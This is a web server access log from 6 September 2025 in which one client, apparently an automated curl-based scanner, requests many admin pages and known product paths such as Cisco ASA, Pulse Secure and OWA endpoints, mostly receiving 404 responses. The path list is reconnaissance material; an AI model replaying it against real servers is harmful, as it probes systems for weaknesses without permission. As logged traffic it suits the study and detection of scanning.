100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /Portal/Portal.mwsl HTTP/1.1" 404 216 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /Portal/Portal.mwsl HTTP/1.1" 404 216
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /3Jop HTTP/1.1" 404 202 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /3Jop HTTP/1.1" 404 202
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /webui HTTP/1.1" 404 203
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /webui HTTP/1.1" 404 203 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /webui HTTP/1.1" 404 203
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /webui HTTP/1.1" 404 203 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /CSS/Miniweb.css HTTP/1.1" 404 213 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /CSS/Miniweb.css HTTP/1.1" 404 213
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /server-status HTTP/1.1" 404 211 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /server-status HTTP/1.1" 404 211
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /pools/default/buckets HTTP/1.1" 404 219
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /home.pl HTTP/1.1" 404 205
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /pools/default/buckets HTTP/1.1" 404 219 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /home.pl HTTP/1.1" 404 205 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 HTTP/1.1" 200 439 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /docs/cplugError.html/ HTTP/1.1" 404 219
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /docs/cplugError.html/ HTTP/1.1" 404 219 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /user HTTP/1.1" 404 202
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /user HTTP/1.1" 404 202 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /Portal0000.htm HTTP/1.1" 404 212
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /Portal0000.htm HTTP/1.1" 404 212 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /HNAP1 HTTP/1.1" 404 203
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /HNAP1 HTTP/1.1" 404 203 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /pools HTTP/1.1" 404 203
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /pools HTTP/1.1" 404 203 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /menu.asp HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /menu.asp HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /user HTTP/1.1" 404 202
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /user HTTP/1.1" 404 202 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /owa/ HTTP/1.1" 404 202
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /owa/ HTTP/1.1" 404 202 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /__Additional HTTP/1.1" 404 210
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /__Additional HTTP/1.1" 404 210 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /home.html HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /home.html HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /owa/ HTTP/1.1" 404 202 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /owa/ HTTP/1.1" 404 202
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /human.aspx HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "GET /human.aspx HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "HEAD / HTTP/1.1" 200 - "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:20 +0800] "HEAD / HTTP/1.1" 200 -
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /start.aspx HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /start.aspx HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /human.aspx HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /human.aspx HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /localstart.shtml HTTP/1.1" 404 214
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /localstart.shtml HTTP/1.1" 404 214 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /dana-cached/hc/HostCheckerInstaller.osx HTTP/1.1" 404 237
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /dana-cached/hc/HostCheckerInstaller.osx HTTP/1.1" 404 237 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /dana-na/nc/nc_gina_ver.txt HTTP/1.1" 404 224
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /dana-na/nc/nc_gina_ver.txt HTTP/1.1" 404 224 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /admin.shtml HTTP/1.1" 404 209
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /admin.shtml HTTP/1.1" 404 209 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /indice.jsp HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /indice.jsp HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /+CSCOE+/logon.html HTTP/1.1" 404 216
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /+CSCOE+/logon.html HTTP/1.1" 404 216 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /main.jsp HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /main.jsp HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /CFIDE/componentutils/ HTTP/1.1" 404 219
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /CFIDE/componentutils/ HTTP/1.1" 404 219 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /home.cgi HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:21 +0800] "GET /home.cgi HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:22 +0800] "GET /robots.txt HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:22 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:22 +0800] "GET /readme.txt HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:22 +0800] "GET /readme.txt HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:22 +0800] "GET /admin.pl HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:22 +0800] "GET /admin.pl HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:22 +0800] "GET /admin.php HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:22 +0800] "GET /admin.php HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:22 +0800] "GET /localstart.cfm HTTP/1.1" 404 212
100.64.0.1 - - [06/Sep/2025:18:23:22 +0800] "GET /localstart.cfm HTTP/1.1" 404 212 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:22 +0800] "GET /admin.aspx HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:22 +0800] "GET /admin.aspx HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:22 +0800] "GET /home.asp HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:22 +0800] "GET /home.asp HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:23 +0800] "GET /admin.jsp HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:23 +0800] "GET /admin.jsp HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:23 +0800] "GET /base.cgi HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:23 +0800] "GET /base.cgi HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:23 +0800] "GET /main.shtml HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:23 +0800] "GET /main.shtml HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:23 +0800] "GET /admin.jhtml HTTP/1.1" 404 209
100.64.0.1 - - [06/Sep/2025:18:23:23 +0800] "GET /admin.jhtml HTTP/1.1" 404 209 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:23 +0800] "GET /admin.cfm HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:23 +0800] "GET /admin.cfm HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:23 +0800] "GET /base.html HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:23 +0800] "GET /base.html HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:23 +0800] "GET /default.cgi HTTP/1.1" 404 209
100.64.0.1 - - [06/Sep/2025:18:23:23 +0800] "GET /default.cgi HTTP/1.1" 404 209 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:24 +0800] "GET /index.jsp HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:24 +0800] "GET /index.jsp HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:24 +0800] "GET /menu.jsp HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:24 +0800] "GET /menu.jsp HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:24 +0800] "GET /default.asp HTTP/1.1" 404 209
100.64.0.1 - - [06/Sep/2025:18:23:24 +0800] "GET /default.asp HTTP/1.1" 404 209 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:24 +0800] "GET /admin.cgi HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:24 +0800] "GET /admin.cgi HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:24 +0800] "GET /index.aspx HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:24 +0800] "GET /index.aspx HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:24 +0800] "GET /localstart.cgi HTTP/1.1" 404 212
100.64.0.1 - - [06/Sep/2025:18:23:24 +0800] "GET /localstart.cgi HTTP/1.1" 404 212 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:25 +0800] "GET /base.inc HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:25 +0800] "GET /base.inc HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:25 +0800] "GET /index.pl HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:25 +0800] "GET /index.pl HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:25 +0800] "GET /inicio.jsp HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:25 +0800] "GET /inicio.jsp HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:25 +0800] "GET /base.shtml HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:25 +0800] "GET /base.shtml HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:25 +0800] "GET /start.cfm HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:25 +0800] "GET /start.cfm HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:25 +0800] "GET /base.pl HTTP/1.1" 404 205
100.64.0.1 - - [06/Sep/2025:18:23:25 +0800] "GET /base.pl HTTP/1.1" 404 205 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:25 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36"
100.64.0.1 - - [06/Sep/2025:18:23:25 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:18:23:25 +0800] "GET /start.jsp HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:25 +0800] "GET /start.jsp HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:26 +0800] "GET /index.asp HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:26 +0800] "GET /index.asp HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:26 +0800] "GET /localstart.html HTTP/1.1" 404 213
100.64.0.1 - - [06/Sep/2025:18:23:26 +0800] "GET /localstart.html HTTP/1.1" 404 213 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:26 +0800] "GET /base.jsp HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:26 +0800] "GET /base.jsp HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:26 +0800] "GET /base.jsa HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:26 +0800] "GET /base.jsa HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:26 +0800] "GET /start.jhtml HTTP/1.1" 404 209
100.64.0.1 - - [06/Sep/2025:18:23:26 +0800] "GET /start.jhtml HTTP/1.1" 404 209 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:26 +0800] "GET /menu.aspx HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:26 +0800] "GET /menu.aspx HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:26 +0800] "GET /indice.jhtml HTTP/1.1" 404 210
100.64.0.1 - - [06/Sep/2025:18:23:26 +0800] "GET /indice.jhtml HTTP/1.1" 404 210 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:27 +0800] "GET /admin.jsa HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:27 +0800] "GET /admin.jsa HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:27 +0800] "GET /admin.asp HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:27 +0800] "GET /admin.asp HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:27 +0800] "GET /inicio.cgi HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:27 +0800] "GET /inicio.cgi HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:27 +0800] "GET /start.html HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:27 +0800] "GET /start.html HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:27 +0800] "GET /base.jhtml HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:27 +0800] "GET /base.jhtml HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:27 +0800] "GET /start.cgi HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:27 +0800] "GET /start.cgi HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:28 +0800] "GET /default.php HTTP/1.1" 404 209
100.64.0.1 - - [06/Sep/2025:18:23:28 +0800] "GET /default.php HTTP/1.1" 404 209 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:28 +0800] "GET /main.html HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:28 +0800] "GET /main.html HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:28 +0800] "GET /base.aspx HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:28 +0800] "GET /base.aspx HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:28 +0800] "GET /inicio.shtml HTTP/1.1" 404 210
100.64.0.1 - - [06/Sep/2025:18:23:28 +0800] "GET /inicio.shtml HTTP/1.1" 404 210 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:28 +0800] "GET /menu.cgi HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:28 +0800] "GET /menu.cgi HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:28 +0800] "GET /index.html HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:28 +0800] "GET /index.html HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:28 +0800] "GET /main.jsa HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:28 +0800] "GET /main.jsa HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:29 +0800] "GET /indice.pl HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:29 +0800] "GET /indice.pl HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:29 +0800] "GET /indice.php HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:29 +0800] "GET /indice.php HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:29 +0800] "GET /indice.jsa HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:29 +0800] "GET /indice.jsa HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:29 +0800] "GET /index.shtml HTTP/1.1" 404 209
100.64.0.1 - - [06/Sep/2025:18:23:29 +0800] "GET /index.shtml HTTP/1.1" 404 209 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:29 +0800] "GET /menu.jsa HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:29 +0800] "GET /menu.jsa HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:29 +0800] "GET /menu.shtml HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:29 +0800] "GET /menu.shtml HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:29 +0800] "GET /index.php HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:29 +0800] "GET /index.php HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:30 +0800] "GET /home.cfm HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:30 +0800] "GET /home.cfm HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:30 +0800] "GET /menu.html HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:30 +0800] "GET /menu.html HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:30 +0800] "GET /inicio.jsa HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:30 +0800] "GET /inicio.jsa HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:30 +0800] "GET /indice.cgi HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:30 +0800] "GET /indice.cgi HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:30 +0800] "GET /default.shtml HTTP/1.1" 404 211
100.64.0.1 - - [06/Sep/2025:18:23:30 +0800] "GET /default.shtml HTTP/1.1" 404 211 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:30 +0800] "GET /indice.aspx HTTP/1.1" 404 209
100.64.0.1 - - [06/Sep/2025:18:23:30 +0800] "GET /indice.aspx HTTP/1.1" 404 209 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:30 +0800] "\x16\x03\x01\x02" 501 206
100.64.0.1 - - [06/Sep/2025:18:23:30 +0800] "\x16\x03\x01\x02" 501 206 "-" "-"
100.64.0.1 - - [06/Sep/2025:18:23:30 +0800] "GET /menu.pl HTTP/1.1" 404 205
100.64.0.1 - - [06/Sep/2025:18:23:30 +0800] "GET /menu.pl HTTP/1.1" 404 205 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:31 +0800] "GET /index.cfm HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:31 +0800] "GET /index.cfm HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:31 +0800] "GET /indice.asp HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:31 +0800] "GET /indice.asp HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:31 +0800] "GET /indice.shtml HTTP/1.1" 404 210
100.64.0.1 - - [06/Sep/2025:18:23:31 +0800] "GET /indice.shtml HTTP/1.1" 404 210 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:31 +0800] "GET /main.aspx HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:31 +0800] "GET /main.aspx HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:31 +0800] "GET /inicio.pl HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:31 +0800] "GET /inicio.pl HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:31 +0800] "GET /menu.jhtml HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:31 +0800] "GET /menu.jhtml HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:32 +0800] "GET /inicio.php HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:32 +0800] "GET /inicio.php HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:32 +0800] "GET /inicio.cfm HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:32 +0800] "GET /inicio.cfm HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:32 +0800] "GET /home.shtml HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:32 +0800] "GET /home.shtml HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:32 +0800] "GET /indice.html HTTP/1.1" 404 209
100.64.0.1 - - [06/Sep/2025:18:23:32 +0800] "GET /indice.html HTTP/1.1" 404 209 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:32 +0800] "GET /indice.cfm HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:32 +0800] "GET /indice.cfm HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:32 +0800] "GET /inicio.html HTTP/1.1" 404 209
100.64.0.1 - - [06/Sep/2025:18:23:32 +0800] "GET /inicio.html HTTP/1.1" 404 209 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:32 +0800] "GET /inicio.aspx HTTP/1.1" 404 209
100.64.0.1 - - [06/Sep/2025:18:23:32 +0800] "GET /inicio.aspx HTTP/1.1" 404 209 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:33 +0800] "GET /default.aspx HTTP/1.1" 404 210
100.64.0.1 - - [06/Sep/2025:18:23:33 +0800] "GET /default.aspx HTTP/1.1" 404 210 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:33 +0800] "GET /index.cgi HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:33 +0800] "GET /index.cgi HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:33 +0800] "GET /start.php HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:33 +0800] "GET /start.php HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:33 +0800] "GET /inicio.asp HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:33 +0800] "GET /inicio.asp HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:33 +0800] "GET /localstart.pl HTTP/1.1" 404 211
100.64.0.1 - - [06/Sep/2025:18:23:33 +0800] "GET /localstart.pl HTTP/1.1" 404 211 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:33 +0800] "GET /main.asp HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:33 +0800] "GET /main.asp HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:33 +0800] "GET /localstart.jsa HTTP/1.1" 404 212
100.64.0.1 - - [06/Sep/2025:18:23:33 +0800] "GET /localstart.jsa HTTP/1.1" 404 212 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:34 +0800] "GET /main.jhtml HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:34 +0800] "GET /main.jhtml HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:34 +0800] "GET /home.php HTTP/1.1" 404 206
